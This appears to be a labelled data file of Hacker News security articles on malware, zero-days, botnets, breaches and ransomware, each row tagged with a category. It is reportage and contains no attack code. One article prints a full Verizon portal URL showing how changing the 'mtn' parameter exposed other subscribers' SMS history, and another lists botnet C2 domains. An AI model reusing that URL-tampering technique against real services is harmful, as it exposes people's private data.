Additionally, the malware comes with an encrypted configuration that houses the command-and-control (C2) IP address and port, and the password it needs to authenticate to the C2 server, before establishing connection over a TCP socket.
What's more, the communications are not only disguised as harmless HTTP traffic, but are also encoded both ways using an XOR encryption scheme, the results of which are decrypted to reveal the exact command to be run.
RedXOR supports a multitude of capabilities, including gathering system information (MAC address, username, distribution, clock speed, kernel version, etc.), performing file operations, executing commands with system privileges, running arbitrary shell commands, and even options to remotely update the malware.
Users victimized by RedXOR can take protective measures by killing the process and removing all files related to the malware.
If anything, the latest development points to an increase in the number of active campaigns targeting Linux systems, in part due to widespread adoption of the operating system for IoT devices, web servers, and cloud servers, leading attackers to port their existing Windows tools to Linux or develop new tools that support both platforms.
""Some of the most prominent nation-state actors are incorporating offensive Linux capabilities into their arsenal and it's expected that both the number and sophistication of such attacks will increase over time,"" Intezer researchers outlined in a 2020 report charting the last decade of Linux APT attacks.

",Malware
Second Flash Player Zero-day Exploit found in 'Hacking Team' Dump,https://thehackernews.com/2015/07/hacking-flash-player-exploit.html,"Another Flash zero-day exploit has emerged from the hundreds of gigabytes of data recently leaked from Hacking Team, an Italian surveillance software company that is long been accused of selling spying software to governments and intelligence agencies.

The critical zero-day vulnerability in Adobe Flash is a Use-After-Free() programming flaw (CVE-2015-5122) which is similar to the CVE-2015-5119 Flash vulnerability patched last week and allows an attacker to hijack vulnerable computers.

Adobe says the cyber criminals are apparently already exploiting this vulnerability for which no patch exists yet. However, it's second time in a single week when the company is working on a fix for the zero-day vulnerability in its Flash Player software.

Flash Zero-Day Flaw in the Wild

The Exploit code for this flaw is already available online, allowing an attacker to remotely execute malicious code on victims' computers and install malware, Adobe said in an advisory published late Friday.
""Successful exploitation [of CVE-2015-5122 flaw] could cause a crash and potentially allow an attacker to take control of the affected system,"" Adobe said.
The zero-day vulnerability is present in the latest Adobe Flash Player version 18.0.0.204 and earlier versions for Windows, Linux and OS X.

Adobe credited FireEye researcher Dhanesh Kizhakkinan for reporting the vulnerability documented in stolen data leaked from Hacking Team.

Therefore, once again we advise everyone with Flash installed to remove or disable the software until the company patches the critical security bug.

",Vulnerability
New Adobe Reader Zero-Day Vulnerability spotted in the wild,https://thehackernews.com/2013/02/new-adobe-reader-zero-day-vulnerability_13.html,"FireEye researchers recently came across a zero-day security flaw in Adobe Reader that's being actively exploited in the wild. The zero-day vulnerability is in Adobe PDF Reader 9.5.3, 10.1.5, 11.0.1 and earlier versions.

According to researchers, once malware takes advantage of the flaw, its payload drops two dynamic-link libraries, or DLLs, which are application extensions used by executable files to perform a task. In this case, they allow the infected computer to communicate with a hacker-owned server.


No additional details about the zero-day vulnerabilities have been publicly released, and but researchers with antivirus provider Kaspersky Lab have confirmed the exploit can successfully escape the Adobe sandbox.

""We have already submitted the sample to the Adobe security team. Before we get confirmation from Adobe and a mitigation plan is available, we suggest that you not open any unknown PDF files,"" said FireEye team.

But until the vulnerability gets patched, FireEye recommended that users avoid opening any PDF files of unknown origin. Instead of waiting for Adobe to act, you should probably switch to a different PDF reader. There are numerous free, open-source PDF readers.

Adobe's David Lenoe said in a post, ""Adobe is aware of a report of a vulnerability in Adobe Reader and Acrobat XI (11.0.1) and earlier versions being exploited in the wild. We are currently investigating this report and assessing the risk to our customers. We will provide an update as soon as we have more information.""

",Vulnerability
Security in a Serious Way - The Hacker News Magazine September 2012 Edition,https://thehackernews.com/2012/09/security-in-serious-way-hacker-news.html,"Hey faithful readers and people interested in Internet Security! Enjoy our - The Hacker News Magazine September 2012 Edition ,Issue #14 packed full of computer security issues and a great interview with a young hacker who defines the world of hacking and the future. Let us know what you think and many thanks for following our website!



",Malware
"Simple, but Critical vulnerability in Verizon Portal revealed users' SMS History",https://thehackernews.com/2013/10/critical-but-simple-vulnerability-in.html,"A Security researcher discovered a critical privacy vulnerability on Verizon Wireless's Web-based customer portal that allows anyone to download user's SMS History and Numbers of other users he communicated with.

Back in August, researcher 'Cody Collier' found that a simple URL exploit could allow any subscriber to extract data using 'Download to SpreadSheet' function.
To exploit, an attacker only needs to modify the subscriber's phone number in the URL and this would give an attacker access to the SMS history to the targeted account.
https://wbillpay.verizonwireless.com/vzw/accountholder/unbilledusage/UnbilledMessaging.action?d-455677-e=2&1548506v4671=1&mtn=999999999
Where variable 'mtn' within the URL defines the mobile number and an attacker just need to modify this. ""Message details consist of: Date, Time, To, From, and Direction an SMS or MMS took place. With no user interaction, all that was required was a subscriber's phone number."" he explained.

There were no safeguards to ensure that the person downloading the spreadsheet owned that number, potentially exposing tens of millions of Verizon customer contact lists and texting habits.

As Verizon's site doesn't offer any direct contact info to report vulnerabilities, so he finds someone on LinkedIn who had forwarded his request to Verizon's corporate security.

Now Verizon has created a dedicated email contact, CorporateSecurity@verizonwireless.com, to field these security issues.

We are also trying to reach Verizon for comment on this serious Privacy issue and will update should we hear back.

",Vulnerability
Dark Nexus: A New Emerging IoT Botnet Malware Spotted in the Wild,https://thehackernews.com/2020/04/darknexus-iot-ddos-botnet.html,"Cybersecurity researchers have discovered a new emerging IoT botnet threat that leverages compromised smart devices to stage 'distributed denial-of-service' attacks, potentially triggered on-demand through platforms offering DDoS-for-hire services.

The botnet, named ""dark_nexus"" by Bitdefender researchers, works by employing credential stuffing attacks against a variety of devices, such as routers (from Dasan Zhone, Dlink, and ASUS), video recorders, and thermal cameras, to co-opt them into the botnet.

So far, dark_nexus comprises at least 1,372 bots, acting as a reverse proxy, spanning across various locations in China, South Korea, Thailand, Brazil, and Russia.

""While it might share some features with previously known IoT botnets, the way some of its modules have been developed makes it significantly more potent and robust,"" the researchers said. ""For example, payloads are compiled for 12 different CPU architectures and dynamically delivered based on the victim's configuration.""

Evidence gathered by Bitdefender points to greek.Helios as the individual behind the development of dark_nexus, who is a known botnet author infamous for selling DDoS services on social media platforms and using a YouTube channel to advertise its capabilities.

Inspired by known botnets Qbot and Mirai

Noting dark_nexus' similarities to Qbot banking malware and Mirai, Bitdefender researchers said its core modules are ""mostly original"" and that it's frequently updated, with over 30 versions released during the period from December 2019 to March 2020 (versions 4.0 through 8.6).


""The startup code of the bot resembles that of Qbot: it forks several times, blocks several signals, and detaches itself from the terminal,"" the researchers said.

""Then, in the vein of Mirai, it binds to a fixed port (7630), ensuring that a single instance of this bot can run on the device. The bot attempts to disguise itself by changing its name to '/bin/busybox.' Another feature borrowed from Mirai is the disabling of the watchdog by periodic ioctl calls on the virtual device.""

The infrastructure consists of several command-and-control (C2) servers (switchnets[.]net:30047 amd thiccnigga[.]me:30047), which issue remote commands to the infected bots, and reporting servers to which bots share details about vulnerable services (e.g., devices protected by default passwords).

Once the brute-force attack succeeds, the bot registers to the C2 server identifying the device's CPU architecture so as to transmit custom infection payload via Telnet, download bot binaries, and other malware components from a hosting server (switchnets[.]net:80), and execute them.

In addition, some versions of the botnet (4.0 to 5.3) come with a reverse proxy feature that lets the victim act as a proxy for the hosting server, thereby directing the infected device to download and store the necessary executables locally instead of having to connect to the central hosting server.

That's not all. dark_nexus comes with persistence commands that prevent the device from getting rebooted by stopping the cron service and removing privileges to services that could be used to reboot said device in question.


""It also uses a technique meant to ensure 'supremacy' on the compromised device,"" Bitdefender observed.

""Uniquely, dark_nexus uses a scoring system based on weights and thresholds to assessing which processes might pose a risk. This involves maintaining a list of whitelisted processes and their PIDs, and killing every other process that crosses a threshold (greater or equal to 100) of suspicion.""

Your IoT Devices Are Up for Hire

The Mirai botnet, since its discovery in 2016, has been linked to a number of large-scale DDoS attacks. Since then, numerous variants of Mirai have sprung up, in part due to the availability of its source code on the Internet.

Botnet authors, likewise, have staged brute-force attacks on WordPress sites to insert Qbot banking trojan and download additional malware.

The fact that dark_nexus is built on the foundations of Mirai and Qbot is proof of the evolving tactics of botnet operators and inexperienced hackers alike, allowing them to add new functionality by exploiting a variety of vulnerabilities in poorly secured IoT devices and amass modern botnet armies.

""Using YouTube videos demoing some of his past work and posting offerings on various cybercriminal forums, greek.Helios seems to have experience with IoT malware skills, honing them to the point of developing the new dark_nexus botnet,"" Bitdefender researchers concluded.

",Cyber_Attack
Researchers Fingerprint Exploit Developers Who Help Several Malware Authors,https://thehackernews.com/2020/10/exploit-development.html,"Writing advanced malware for a threat actor requires different groups of people with diverse technical expertise to put them all together. But can the code leave enough clues to reveal the person behind it?
To this effect, cybersecurity researchers on Friday detailed a new methodology to identify exploit authors that use their unique characteristics as a fingerprint to track down other exploits developed by them.
By deploying this technique, the researchers were able to link 16 Windows local privilege escalation (LPE) exploits to two zero-day sellers ""Volodya"" (previously called ""BuggiCorp"") and ""PlayBit"" (or ""luxor2008"").
""Instead of focusing on an entire malware and hunting for new samples of the malware family or actor, we wanted to offer another perspective and decided to concentrate on these few functions that were written by an exploit developer,"" Check Point Research's Itay Cohen and Eyal Itkin noted.
Fingerprinting an Exploit Writer's Characteristics
The idea, in a nutshell, is to fingerprint an exploit for specific artifacts that can uniquely tie it to a developer. It could be in using hard-coded values, string names, or even how the code is organized and certain functions are implemented.
Check Point said their analysis began in response to a ""complicated attack"" against one of its customers when they encountered a 64-bit malware executable that exploited CVE-2019-0859 to gain elevated privileges.
Noticing the fact that the exploit and the malware were written by two different sets of people, the researchers used the binary's properties as a unique hunting signature to find at least 11 other exploits developed by the same developer named ""Volodya"" (or ""Volodimir"").
""Finding a vulnerability, and reliably exploiting it, will most probably be done by specific teams or individuals who specialize in a particular role. The malware developers for their part don't really care how it works behind the scenes, they just want to integrate this [exploits] module and be done with it,"" the researchers said.
Interestingly, Volodya — likely of Ukrainian origin — has been previously linked to selling Windows zero-days to cyberespionage groups and crimeware gangs for anywhere between $85,000 to $200,000.
Chief among them was an LPE exploit that leveraged a memory corruption in ""NtUserSetWindowLongPtr"" (CVE-2016-7255), which has been widely used by ransomware operators like GandCrab, Cerber, and Magniber. It's now believed that Volodya advertised this LPE zero-day on the Exploit.in cybercrime forum in May 2016.
In all, five zero-day and six one-day exploits were identified as developed by Volodya over a period of 2015-2019. Subsequently, the same technique was employed to identify five more LPE exploits from another exploit writer known as PlayBit.
An Extensive Clientele
Stating the exploit samples shared code level similarities to grant SYSTEM privileges to the desired process, the researchers said, ""both of our actors were very consistent in their respective exploitation routines, each sticking to their favorite way.""
What's more, Volodya also appears to have switched up his tactics during the intervening years, with the developer shifting from selling the exploits as embeddable source code in the malware to an external utility that accepts a specific API.
Besides ransomware groups, Volodya has been found to cater to an extensive clientele, including the Ursnif banking trojan, and APT groups such as Turla, APT28, and Buhtrap.
""The APT customers, Turla, APT28, and Buhtrap, are all commonly attributed to Russia and it is interesting to find that even these advanced groups purchase exploits instead of developing them in-house,"" Check Point observed in its analysis. ""This is another point which further strengthens our hypothesis that the written exploits can be treated as a separate and distinct part of the malware.""
With cyberattacks expanding in scope, frequency, and magnitude, using an exploit developer's code signature as a means to track down bad actors could provide valuable insight into the black exploit market.
""When Check Point finds a vulnerability, we demonstrate its severity, report it to the appropriate vendor, and make sure it's patched, so it doesn't pose a threat,"" Cohen said. ""However, for individuals trading these exploits, it's a completely different story. For them, finding the vulnerability is just the beginning. They need to reliably exploit it on as many versions as possible, in order to monetize it to a customer's satisfaction.""
""This research provides insight into how that is achieved, and the buyers in this market, which often include nation-state actors. We believe that this research methodology can be used to identify additional exploit writers.""

",Malware
Android Malware and Corporate Networks Security,https://thehackernews.com/2012/05/android-malware-and-corporate-networks.html,"Android Malware and Corporate Networks Security

A new Android Trojan dubbed ""NotCompatible"" is being spread through compromised Web sites. This may directly affect Android tablets and smartphones, along with being a potential risk hazard to corporate networks and their security.

Kevin Mahaffrey is co-founder and CTO of a San Francisco based firm called Lookout Security. The main focus of the company is Android and during their investigations it was found there was a new malware out there. Called ""NotCompatible"" the Android malware is, according to Mahaffrey, a risk to corporate networks.

According to their report, a hacked Web site would contain a hidden iFrame at the bottom of the page. When the Android browser loads the page, it will attempt to load the file in the hidden iFrame. Upon loading the file, the browser would transfer control to the app loader, which would display an application installation screen, with the header com.Security.Update. An unsuspecting user might install the app, and thus infect their Android device.

Fortunately, the malware isn't very stealthy. Mobile malware threats are not as widespread as those targeting PCs. Criminal hackers are experimenting with different business models for mobile devices, such as tricking users into subscribing to pay-text-message services that the criminals control.

Android app security holes have long been a concern because of the mobile operating system's more open architecture and the app market's less stringent standards for developers than others such as Apple's iOS or Research In Motion's BlackBerry OS.Earlier this year, Google said it was using a service called Bouncer that automatically polices its app market and takes down offenders before they strike.

Mahaffey, who studied Internet browsing data from Android gadgets to draw his conclusions, said an attacker could latch on to a business or government network if an employee whose Android device has been infected with NotCompatible accessed their corporate information via Wi-Fi.

With over 600 million Android devices in the world, the purveyors of malware will always be seeking ways to infect your Android device. The worst kind of update you can download to your machine is one that you didn't ask for and don't know where it comes from.

",Malware
"Your Android Phone is Spying On You, Use custom ROM To Protect your Privacy",https://thehackernews.com/2011/11/your-android-phone-is-spying-on-you-use.html,"Your Android Phone is Spying On You, Use custom ROM To Protect your Privacy


In this digital age, privacy is more important than ever. Just because you ""don't have anything to hide,"" does not mean that you shouldn't value your privacy or fight for it when companies do things like this, especially with something as personal as your cell phone.


An Android developer recently discovered a clandestine application called Carrier IQ built into most smartphones that doesn't just track your location; it secretly records your keystrokes, and there's nothing you can do about it. Is it time to put on a tinfoil hat? That depends on how you feel about privacy. In the nearly 20-minute video clip, Eckhart shows how software developed by mobile-device tracker Carrier IQ logs each keystroke and then sends them off to locations unknown. In addition, when Eckhart tried placing a call, Carrier IQ's software recorded each number before the call was even made.

What is Carrier IQ, exactly?
The software is hidden inside phones there is little you can do to detect that it's even installed, let alone remove it, and it tracks everything. Keystrokes, browsing and surfing habits, Google searches, and basically every single thing that you are doing on your phone and every button that you press is logged by this software. Jump to 9:00 in the YouTube video below for the proof this is basically a keylogger running on your phone that you didn't know about.

The company that's creating this software claims that the point of the software is to deliver ""analytics"" about devices to the carriers to help them provide better service to their users. But is recording every keystroke really necessary for that information? Does not telling the users about this and making it near-impossible to opt out seem a bit fishy to anybody else? This software is on almost all Android phones made by the big names (HTC, Samsung, Motorola), and is even on BlackBerries and Nokia devices, as well.

""Our action was misguided and we are deeply sorry for any concern or trouble that our letter may have caused Mr. Eckhart,"" the company said in response to the EFF's letter. ""We sincerely appreciate and respect EFF's work on his behalf, and share their commitment to protecting free speech in a rapidly changing technological world.""

But Eckhart's new video seems to refute at least some of those claims. In one part of the clip, he shows how an entire SMS message--""hello world""--was recorded by Carrier IQ's software. In another example, he demonstrates how a Google search, his location, and other key information is recorded by Carrier IQ's application, even though he was on Wi-Fi and a page secured by HTTPS.


HTTPS? Nothing Is Safe From Carrier IQ
For those unaware, the S in HTTPS stands for secure. It's what keep your passwords and other sensitive data safe when sent across the web. It's provides encryption for said information, so whilst it's traveling through the airwaves, it's safe and snuggly, away from the awful people who want to steal your info.

Just because a website is using a secure connection doesn't mean it's one-hundred percent safe from end-to-end, though. You see, some information, including usernames and passwords, can still be sent plain text. For example, the username and password can be used in the address of the site, like www.mysite.com?username=MYNAME&password=MYPASS (Trev's example). Sure, it's encrypted while going down the tunnel, but guess who gets to see the raw link? Did you guess Carrier IQ? If so, go get yourself a cookie. You earned it. [Source]

Carrier IQ says in this public statement that it is ""not logging keystrokes or providing tracking tools"" and that its software is used to track performance, but the video proves entirely otherwise: this app is sitting in between you and the Android OS and is making a note of everything you do. Secure websites don't help. Even using Wi-Fi doesn't help. Your phone use is being logged by this software, and there is no way to easily opt out.

Devices Without a Cellular Network Aren't Safe, Either
Let's think about the name of this thing for a minute - Carrier IQ. So, it's probably safe to say that this is all about the carriers, right? If that were true, then why would CIQ remain active once a device no longer has carrier service?

Let me back up for one second, CIQ claims that its services are stopped the second the SIM card is removed from the device, which is all fine and dandy... if you're on a GSM network. Those of us on CDMA networks aren't so lucky, though, because we don't use SIM cards. Thus, even when a device is deactivated from its network, it continues to send data back to the carrier, CIQ, and whoever else whenever you're on a Wi-Fi connection.

Ensure your Privacy : Use custom ROM To Protect your Privacy
Unfortunately, there is no easy way to protect yourself. There's no switch that you can turn off in the settings of your phone or software that appears in your app drawer that you can simply uninstall. As far as the GUI of your phone is concerned, Carrier IQ isn't even there. But it is there, hiding in the background, making sure that you don't even know it exists. And for many, that's just not cool. Your phone is a deeply personal device and contains lots of things (emails, photos, text messages) that many would consider totally private. Why should this company have access?

Best way, root your phone and there are many guides available for the different devices. The best place to look for information on rooting is the XDA Forum. Search on the page for your phone name and go to the ""General"" forum for the device. There, you should find threads with guides on how to root and get the phone ready to install custom ROMs. The process varies widely phone by phone, so we can't give you a definitive guide here, but XDA is generally on top of the best rooting processes for the major devices.The next step is to find a ROM that supports your device that does not have Carrier IQ installed on it. Your best bet is to look for ""AOSP"" or ""Vanilla"" ROMs. These are versions of Android that have built entirely from the open source code for Android that's released by Google each time a new version comes out. These ROMs will be free from carrier and device manufacturer tinkering, and won't have Carrier IQ hiding in the background.

Another great custom ROM solution is Cyanogenmod. Cyanogenmod has some nice additional tweaks and features above stock Android, and is definitely the most well respected and most frequently updated custom ROM out there. Additionally, it's available on most popular Android devices out there. The developers are even working hard on the next version, based on Android 4.0, Ice Cream Sandwich.

A simple Guide : How To Install CyanogenMod 7 On Samsung Galaxy S II Using ROM Manager is Available here.

",Vulnerability
[Video] Ukrainian Police Seize Servers of Software Firm Linked to NotPetya Cyberattack,https://thehackernews.com/2017/07/notpetya-ransomware-police-raid.html,"Ukrainian National Police has released a video showing officers raiding company of M.E.Doc accounting software makers, whose systems have been linked to outbreak of Petya (NotPetya) ransomware that recently infected computers of several major companies worldwide.

On 4th July, masked police officers from Ukrainian anti-cybercrime unit — carrying shotguns and assault rifles — raided the software development firm ""Intellect Service,"" in the capital city Kyiv and seized their servers, which were reportedly compromised by hackers to spread (ExPetr, PetrWrap, Petya, NotPetya) ransomware.

Researchers from ESET security firm have found a very stealthy malicious code in the M.E.Doc software update which was injected by an unknown hacker or group of hackers in mid-April by exploiting a vulnerability.

The malicious software upgrade, designed to install a backdoor and give unauthorized remote access to attackers, was then delivered as an update to nearly 1 million computers belonging to its client companies.
Researchers explain that the backdoor installed in endpoint computers was designed to allow hackers to execute various commands remotely and further install other malicious programs, eventually used to conduct WannaCry like global ransomware attack.

The software company previously denied its servers had been compromised, but several researchers and even Microsoft blamed the company for being ""patient zero"" for the NotPetya attack.

Ukrainian authority has also said that the company could face charges.

Moreover, the Petya investigation took interesting twist last week when researchers found that NotPetya is not a ransomware; instead, it's a destructive piece of ""wiper"" malware designed to destroy all records from the targeted systems, making organizations to shut down their operations.

Ukrainian authority has recommended M.E.Doc customers to stop using its accounting software until further notice. So, you are supposed to turn off your computers if it has the M.E.Doc software installed on and change your passwords.

Ukraine believes Russia is behind the NotPetya cyber attack that shut down the nation's critical operations, including the airport, local metro, hospitals, and government, but authorities are still investigating the case.

NotPetya Hacker Demands 100 Bitcoins for the Decryption Key
It was also reported today that the hackers connected to the NotPetya ransomware moved $10,000 worth of Bitcoins from the online wallet they were using to receive payments from victims to a different wallet.

After that someone claimed to be connected to NotPetya Posted an announcement on DeepPaste and Pastebin, asking for 100 Bitcoins (roughly $256,000) for the private key that supposedly decrypts any file encrypted with NotPetya.

",Cyber_Attack
CISO Kit — Breach Protection in the Palm of Your Hand,https://thehackernews.com/2019/09/data-breach-protection.html,"CISOs and CIOs need to know better than anyone the security pulse of their organizations. On the other hand, they cannot be flooded with every changing detail.

Finding the right balance that enables them to clearly grasp the big picture required in making sound decisions is a task many security executives find challenging. Threat actors do not acknowledge off-hours or weekends, introducing the need for constant vigilance.

Moreover, CIOs and CISOs are heavily dependent on their team for knowledge and often lack the immediate interaction with the events in real-time. This situation is also far from favorable – after all, who if not the security executive should have the ability to be in-the-know and initiate action at the heart of things?

Cynet rises to this challenge with the recently launched Cynet Dashboard application, which provides 24/7 insight into the overall security posture, real-time visibility into newly detected threats, and the ability to take rapid action if the need arises.


Moreover, any new Cynet customer receives a 'CISO Kit' of iPad and Apple Watch that runs this app, giving instant security on-the-go. (For more details, click here.)

""It's a problem every CIO and CISO comes to acknowledge sooner or later,"" said Eyal Gruner, co-Founder of Cynet. ""You want to know at any given moment what's happening. What you have in your environment, whether there is something going on, if there any open incidents, and so on. On the other hand, you cannot spend your entire day in front of Cynet's screen.""

""We think it's crucial that every security executive has that immediate visibility, wherever he is, and that's why we've decided to provide our new clients with an Apple Watch and iPad together with the Cynet Dashboard app.""

The Need to Know

To address this need, Cynet built the Cynet Dashboard App which continuously gives CISOs a view into the number of assets in their environment, as well as how many open alerts there are at any given moment, rated by severity (low, medium, high or critical) and type (host, file, user or network).


""We've talked to hundreds of security stakeholders from organizations of all sizes, and it all converged into a common theme – they want to know what they have in their environment and what security events are currently taking place. Plain and simple,"" explained Gruner.

The Need to Report

On top of real-time knowledge into what's going on, the Cynet Dashboard App addresses the need for concise communication and reporting.


Not the fully blown PDFs with graphs and charts, but being able to casually say in a management meeting or over lunch, 'Yes, we had 3 incidents this week. Two were resolved the other day, and one is being handled now.'

The Need to Control

""When we founded Cynet, we knew that providing security expertise is not less important than providing the technology,"" said Gruner.

""So when prospects purchase Cynet, they also get CyOps – our team of expert security analysts and threat researchers that operate a 24/7 SOC to assist our customers with incident response, in-depth investigation and proactive threat hunting. This is one of the things our customers really love.""


The Cynet Dashboard App enables CISOs to engage CyOps with a simple click, complementing the real-time knowledge and reporting with the ability to act and ensure that incidents get expert treatment.

Changing the CISO Experience

""This is the first time such an experience has been made available to cybersecurity management,"" said Gruner. ""Our app enables the CISO to become truly autonomous. Know the core facts that matter, report to management, and take quick action if needed – all through his Apple Watch or iPad. It's all up to him to take control and determine what to do. It's literally having your security in the palm of your hand.""

Click here to learn more about the Cynet Dashboard app and how you can get your own Cynet CISO Kit.

",Data_Breaches
"New 4G LTE Network Attacks Let Hackers Spy, Track, Spoof and Spam",https://thehackernews.com/2018/03/4g-lte-network-hacking.html,"Security researchers have discovered a set of severe vulnerabilities in 4G LTE protocol that could be exploited to spy on user phone calls and text messages, send fake emergency alerts, spoof location of the device and even knock devices entirely offline.

A new research paper [PDF] recently published by researchers at Purdue University and the University of Iowa details 10 new cyber attacks against the 4G LTE wireless data communications technology for mobile devices and data terminals.

The attacks exploit design weaknesses in three key protocol procedures of the 4G LTE network known as attach, detach, and paging.

Unlike many previous research, these aren't just theoretical attacks. The researchers employed a systematic model-based adversarial testing approach, which they called LTEInspector, and were able to test 8 of the 10 attacks in a real testbed using SIM cards from four large US carriers.

Authentication Synchronization Failure Attack
Traceability Attack
Numb Attack
Authentication Relay Attack
Detach/Downgrade Attack
Paging Channel Hijacking Attack
Stealthy Kicking-off Attack
Panic Attack
Energy Depletion Attack
Linkability Attack

Among the above-listed attacks, researchers consider an authentication relay attack is particularly worrying, as it lets an attacker connect to a 4G LTE network by impersonating a victim's phone number without any legitimate credentials.
This attack could not only allow a hacker to compromise the cellular network to read incoming and outgoing messages of the victims but also frame someone else for the crime.

""Through this attack the adversary can poison the location of the victim device in the core networks, thus allowing setting up a false alibi or planting fake evidence during a criminal investigation,"" the report said.

Other notable attacks reported by the researchers could allow attackers to obtain victim's coarse-grained location information (linkability attack) and launch denial of service (DoS) attack against the device and take it offline (detach attack).

""Using LTEInspector, we obtained the intuition of an attack which enables an adversary to possibly hijack a cellular device's paging channel with which it can not only stop notifications (e.g., call, SMS) to reach the device but also can inject fabricated messages resulting in multiple implications including energy depletion and activity profiling,"" the paper reads.

Using panic attack, attackers can create artificial chaos by broadcasting fake emergency messages about life-threatening attacks or riots to a large number of users in an area.

What's interesting about these attacks is that many of these can be carried out for $1,300 to $3,900 using relatively low-cost USRP devices available in the market.

Researchers have no plans to release the proof-of-concept code for these attacks until the flaws are fixed.

Although there are some possible defenses against these observed attacks, the researchers refrained from discussing one.
The paper reads: ""retrospectively adding security into an existing protocol without breaking backward compatibility often yields band-aid-like-solutions which do not hold up under extreme scrutiny.""
""It is also not clear, especially, for the authentication relay attack whether a defense exists that does not require major infrastructural or protocol overhaul,"" it adds. ""A possibility is to employ a distance-bounding protocol; realization of such protocol is, however, rare in practice.""
The vulnerabilities are most worrying that once again raise concerns about the security of the cell standards in the real world, potentially having an industry-wide impact.

",Cyber_Attack
Ransomware Attack Takes Down Bristol Airport's Flight Display Screens,https://thehackernews.com/2018/09/cyberattack-bristol-airport.html,"Bristol Airport has blamed a ransomware attack for causing a blackout of flight information screens for two days over the weekend.

The airport said that the attack started Friday morning, taking out several computers over the airport network, including its in-house display screens which provide details about the arrival and departure information of flights.

The attack forced the airport officials to take down its systems and use whiteboards and paper posters to announce check-in and arrival information for flights going through the airport and luggage pickup points for all Friday, Saturday, and the subsequent night.
""We are currently experiencing technical problems with our flight information screens,"" a post on the Bristol Airport's official Twitter feed read on Friday.

""Flights are unaffected and details of check-in desks, boarding gates, and arrival/departure times will be made over the public address system. Additional staff are on hand to assist passengers.""
The airport also urged passengers to arrive early and ""allow extra time for check-in and boarding processes,"" though this two days technical meltdown caused delays in baggage handling, with customers needed to wait longer than one hour for their bags.

However, no flight delays were reportedly caused due to the cyber attack.

An airport spokesman said that the information screens went offline due to a so-called ""ransomware"" attack, though he confirmed that no ""ransom"" had been paid to get the airport systems working again.

Affected systems and flight information screens were finally restored on Sunday, officials said.

""We are grateful to passengers for their patience while we have been working to resolve issues with flight information this weekend. Digital screens are now live in arrivals and departures. Work will continue to restore complete site-wide coverage as soon as possible,"" the airport tweeted on Sunday.

At the moment, it is not clear how the ransomware got into the airport systems. Bristol is carrying out an investigation to find out what happened.

",Malware
"Hacker Breaches Dozens of Sites, Puts 127 Million New Records Up for Sale",https://thehackernews.com/2019/02/data-breach-website.html,"A hacker who was selling details of nearly 620 million online accounts stolen from 16 popular websites has now put up a second batch of 127 million records originating from 8 other sites for sale on the dark web.

Last week, The Hacker News received an email from a Pakistani hacker who claims to have hacked dozens of popular websites (listed below) and selling their stolen databases online.

During an interview with The Hacker News, the hacker also claimed that many targeted companies have probably no idea that they have been compromised and that their customers' data have already been sold to multiple cyber criminal groups and individuals.

Package 1: Databases From 16 Compromised Websites On Sale

In the first round, the hacker who goes by online alias ""gnosticplayers"" was selling details of 617 million accounts belonging to the following 16 compromised websites for less than $20,000 in Bitcoin on dark web marketplace Dream Market:
Dubsmash — 162 million accounts
MyFitnessPal — 151 million accounts
MyHeritage — 92 million accounts
ShareThis — 41 million accounts
HauteLook — 28 million accounts
Animoto — 25 million accounts
EyeEm — 22 million accounts
8fit — 20 million accounts
Whitepages — 18 million accounts
Fotolog — 16 million accounts
500px — 15 million accounts
Armor Games — 11 million accounts
BookMate — 8 million accounts
CoffeeMeetsBagel — 6 million accounts
Artsy — 1 million accounts
DataCamp — 700,000 accounts
Out of these, the popular photo-sharing service 500px has confirmed that the company suffered a data breach in July last year and that personal data, including full names, usernames, email addresses, password hashes, location, birth date, and gender, for all the roughly 14.8 million users existed at the time was exposed online.

Just yesterday, Artsy, DataCamp and CoffeeMeetsBagel have also confirmed that the companies were victims of a breach last year and that personal and account details of their customers was stolen by an unauthorized attacker.

Diet tracking service MyFitnessPal, online genealogy platform MyHeritage and cloud-based video maker service Animoto had confirmed the data breaches last year.

In response to the news, video-sharing app Dubsmash also issued a notice informing its users that they have launched an investigation and contacted law enforcement to look into the matter.

Package 2: Hacked Databases From 8 More Websites On Sale

While putting the second round of the stolen accounts up for sale on the Dream Market—one of the largest dark web marketplaces for illegal narcotics and drug paraphernalia—the hacker removed the collection of the first round to avoid them from getting leaked and land on security initiatives like Google's new Password Checkup tool.

Gnosticplayers told The Hacker News in an email that the second round listed stolen data from 127 million accounts that belonged to the following 8 hacked websites, which was up for sale for $14,500 in bitcoin:
Houzz — 57 million accounts
YouNow — 40 million accounts
Ixigo — 18 million accounts
Stronghold Kingdoms — 5 million accounts
Roll20.net — 4 million accounts
Ge.tt — 1.83 million accounts
Petflow and Vbulletin forum — 1.5 million accounts
Coinmama (Cryptocurrency Exchange) — 420,000 accounts
Of the above-listed websites, only Houzz has confirmed the security breach earlier this month that compromised its customers' public information and certain internal account information.

Like the first round, the recent collection of 127 million stolen accounts has also been removed from the sale on the dark web.

Though some of the services are resetting users' passwords after confirming its data was stolen, if you are a user of any of the above-listed services, you should consider changing your passwords in the event you re-used the same password across different websites.

",Data_Breaches
FireEye: Russian Research Lab Aided the Development of TRITON Industrial Malware,https://thehackernews.com/2018/10/russia-triton-ics-malware.html,"Cybersecurity firm FireEye claims to have discovered evidence that proves the involvement of a Russian-owned research institute in the development of the TRITON malware that caused some industrial systems to unexpectedly shut down last year, including a petrochemical plant in Saudi Arabia.

TRITON, also known as Trisis, is a piece of ICS malware designed to target the Triconex Safety Instrumented System (SIS) controllers made by Schneider Electric which are often used in oil and gas facilities.

Triconex Safety Instrumented System is an autonomous control system that independently monitors the performance of critical systems and takes immediate actions automatically if a dangerous state is detected.

Since malware of such capabilities can't be created by a computer hacker without possessing necessary knowledge of Industrial Control Systems (ICS), researchers believe with ""high confidence"" that Moscow-based lab Central Scientific Research Institute of Chemistry and Mechanics (CNIIHM, a.k.a ЦНИИХМ) helped attackers, dubbed ""TEMP.Veles,"" with institutional knowledge develop the TRITON framework and test its components in a targeted environment.
In a blog post published earlier today, FireEye uncovered various attribution clues that connect the development and testing activities of Triton malware to the Russian government, CNIIHM and a former professor at CNIIHM.

""An IP address [ 87.245.143.140] registered to CNIIHM has been employed by TEMP.Veles for multiple purposes, including monitoring open-source coverage of TRITON, network reconnaissance, and malicious activity in support of the TRITON intrusion,"" FireEye wrote while pointing out evidence.

Moreover, behavior patterns observed in the TEMP.Veles group activity are also consistent with the Moscow time zone, where the CNIIHM institute is located.

Though CNIIHM researchers possess experience in critical infrastructure and the development of weapons and military equipment, FireEye did not claim or has any evidence if the institute was also involved in deploying the Triton malware in the wild.

